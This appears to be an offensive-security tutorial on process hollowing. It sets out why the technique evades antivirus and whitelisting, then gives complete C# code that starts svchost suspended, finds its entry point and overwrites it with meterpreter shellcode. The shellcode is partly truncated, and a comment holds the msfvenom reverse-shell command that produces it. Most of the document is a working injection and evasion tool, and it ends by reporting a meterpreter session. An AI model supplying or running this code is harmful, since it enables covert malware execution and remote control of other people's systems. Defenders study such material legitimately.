Process Hollowing is a relatively old technique that can be used to bypass firewalls, application whitelist/blacklists and antivirus systems. Similar to remote DLL/Code injection techniques, an attacker can use process hollowing to execute arbitrary code from the address space of a target process. Process Hollowing however, has some advantages over traditional process code injection. For example, with traditional code injection the attacker must choose a target process that runs on the same or lower integrity level and then call CreateRemoteThread which is considered malicious by many AV’s these days. With process hollowing we can start any process (even svchost which is normally run only with SYSTEM privileges and will just close if started as a normal user) in a suspended state and inject our own shellcode on the EntryPoint of the process. As a bonus, we can simply use ResumeThread to resume execution avoiding the usage of CreateRemoteThread.
Basic Steps:
1) Create a process in a suspended state by selecting the CREATE_SUSPENDED flag during process creation.
2) While the process is in a suspended state, we will perform several Windows API calls and calculations in order to get the Entry Point of the newly created process.
3) After determining the exact address of the Entry Point, we will use WriteProcessMemory to replace the original code with our shellcode.
4) With our shellcode in place, we can call ResumeThread to resume execution of the process, effectively triggering the execution of our shellcode.
How to calculate the address of Entry Point on the suspended process:
1) Using ZwQueryInformationProcess we can retrieve the PEB address of the suspended process.
2) From the PEB we can obtain the base address of the process and then use it to parse the PE headers in order to locate the Entry Point. A more detailed, but still high-level overview, can be seen below:
After obtaining the PEB address, we can get the value of the base address of the process beacuse it is located on the 0x10 offset of PEB.
From the base address we have just obtained, we can read the value at offset 0x3C in order to determine the offset of the PE Headers from the base address of the process.
Now that we have calculated the address of the PE Headers section, we can read the Entry Point Relative Virtual Address (Entry_Point_Offset) located at offset 0x28 from the PE headers. In this address we can find a value that is the offset of the Entry Point, meaning that by adding this value to the base address of the process, we can get the absolute direct address of the entry point and therefore the address where we need to write our shellcode.
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;
namespace Hollow
{
class Program
{
[StructLayout(LayoutKind.Sequential)]
struct SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
}
[StructLayout(LayoutKind.Sequential)]
struct STARTUPINFO
{
public uint cb;
public IntPtr lpReserved;
public IntPtr lpDesktop;
public IntPtr lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public ushort wShowWindow;
public ushort cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
ref SECURITY_ATTRIBUTES lpProcessAttributes,
ref SECURITY_ATTRIBUTES lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
[In] ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESS_BASIC_INFORMATION
{
public IntPtr Reserved1;
public IntPtr PebAddress;
public IntPtr Reserved2;
public IntPtr Reserved3;
public IntPtr UniquePid;
public IntPtr Reserved4;
}
internal enum PROCESS_INFORMATION_CLASS
{
ProcessBasicInformation = 0,
ProcessDebugPort = 7,
ProcessWow64Information = 26,
ProcessImageFileName = 27,
ProcessBreakOnTermination = 29,
ProcessSubsystemInformation = 75
}
[DllImport("ntdll.dll", SetLastError = true)]
static extern UInt32 ZwQueryInformationProcess(
IntPtr hProcess,
PROCESS_INFORMATION_CLASS procInformationClass,
ref PROCESS_BASIC_INFORMATION procInformation,
UInt32 ProcInfoLen,
ref UInt32 retlen);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
[Out] byte[] lpBuffer,
int dwSize,
out IntPtr lpNumberOfBytesRead);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
Int32 nSize,
out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
static extern uint ResumeThread(IntPtr hThread);
static void Main(string[] args)
{
string CommandLine = @"C:\\Windows\\System32\\svchost.exe";
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
STARTUPINFO si = new STARTUPINFO();
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES();
//Note the sixth value of 0x4 which corresponds to CREATE_SUSPENDED
//According to https://learn.microsoft.com/en-us/windows/win32/procthread/process-creation-flags:
//"The primary thread of the new process is created in a suspended state, and does not run until the ResumeThread function is called."
bool retValue = CreateProcess(null, CommandLine, ref pSec, ref tSec, false, 0x4, IntPtr.Zero, null, ref si, out pi);
PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
uint tmp = 0;
IntPtr hProcess = pi.hProcess;
//The third argument, bi (PROCESS_BASIC_INFORMATION) structure, will be populated with the PEB address
ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);
//This is a pointer to the location where the process base address is stored
IntPtr PtrToProcBase = (IntPtr)((Int64)bi.PebAddress + 0x10);
//We read the value pointed to by PtrToProcBase in order to get the process base address
byte[] tempbuf = new byte[IntPtr.Size];
IntPtr nRead = IntPtr.Zero;
ReadProcessMemory(hProcess, PtrToProcBase, tempbuf, tempbuf.Length, out nRead);
IntPtr targetProcBase = (IntPtr)(BitConverter.ToInt64(tempbuf, 0));
//We add 0x3C to the base address and read the value in order to get the offset of the PE headers from the process base address
byte[] tempbuf1 = new byte[IntPtr.Size];
ReadProcessMemory(hProcess, targetProcBase + 0x3C, tempbuf1, tempbuf1.Length, out nRead);
Int32 OffsetOfPEHeaders = BitConverter.ToInt32(tempbuf1, 0);
// We add 0x28 to the PE headers and read the value in order to get the offset of the entry point
byte[] tempbuf2 = new byte[IntPtr.Size];
ReadProcessMemory(hProcess, targetProcBase + OffsetOfPEHeaders + 0x28, tempbuf2, tempbuf2.Length, out nRead);
uint OffsetOfEntryPoint = BitConverter.ToUInt32(tempbuf2, 0);
//Now that we have the offset of the EntryPoint we can add it to the process base address to get the absolute address
IntPtr pEntryPoint = (IntPtr)(OffsetOfEntryPoint + (UInt64)targetProcBase);
// msfvenom -p windows/x64/meterpreter/reverse_https LHOST=eth0 LPORT=443 -f csharp
// Truncated
byte[] buf = new byte[751] { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x48, 0x31, 0xd2, 0x51, 0x56, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x48, 0x8b, 0x72, 0x50, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0xff, 0xd5 };
//Write the shellcode to the entry point of the suspended process
WriteProcessMemory(hProcess, pEntryPoint, buf, buf.Length, out nRead);
//Resume thread will essentially invoke the shellcode
ResumeThread(pi.hThread);
}
}
}
By running the above code we obtain a meterpreter session that runs from the svchost process: